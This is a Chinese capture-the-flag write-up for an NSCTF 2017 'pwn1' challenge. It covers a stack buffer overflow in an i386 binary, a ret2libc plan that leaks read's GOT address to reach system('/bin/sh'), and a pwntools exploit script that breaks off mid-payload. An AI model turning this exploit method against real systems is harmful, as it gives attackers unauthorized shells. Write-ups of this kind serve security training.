前言
比赛有无数值得吐槽的地方,其中最主要的是,题目给了pwn的libc,然而,特么是错的,也就是说虽然给了libc,但是其实还是靠运气/当做没有libc解,顺手记录一下这两个水题。
pwn1
分析
main
int __cdecl main()
{
alarm(0x1u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("[*]Put Your Name:");
do_main();
return 0;
}
do_main:
ssize_t do_main()
{
char buf; // [sp+10h] [bp-88h]@1
read(0, &buf, 0x100u);
return write(1, &buf, 0x100u);
}
逻辑很简单,read读取输入到栈上的buf,然后write输出,大小都是0x100,但是buf的大小是没有这么大的,所以存在栈溢出,题目的sec有:
[*] '/home/vagrant/ctf/contests/nsctf-2017/pwn/pwn1/pwn1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
思路:
1. read导致溢出,然后控制返回地址指向read函数的位置,并且设置好参数,read到elf的data段,因为没有开启PIE,所以data段位置是固定的。之后的返回地址指向main的开始,再次进入main
2. 之后会先进入read函数,读入到data段,写入/bin/sh\x00字符串。
3. 再次进入main,这次控制返回地址先指向write函数位置,并且设置好参数,使得buf指向read在plt.got的位置,使得write将read的地址泄露出来,之后的下一步返回地址再次指向main的开始,再进入main
4. 第三次进入main,我们已经拿到了read函数的地址,计算得到libc的基地址,然后得到system地址,/bin/sh\x00的位置是我们自己在第二步写入的,所以已知,设置好参数,返回指向system即可
exp
from pwn import *
context(os='linux', arch='i386', log_level='debug')
DEBUG = 0
UBUNTU = 1
GDB = 0
if DEBUG:
p = process("./pwn1")
if UBUNTU:
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
libc = ELF("/usr/lib32/libc.so.6")
else:
libc = ELF("./libc-2.19.so")
p = remote('116.62.63.190', 8888)
def main():
if DEBUG:
offset = 0x1b2000
else:
offset = 0x1a2000
if GDB:
raw_input()
read_addr = 0x080483f0
write_addr = 0x08048440
do_main_addr = 0x0804854d
p.recvline()
payload_prefix = '/bin/sh\x00'.ljust(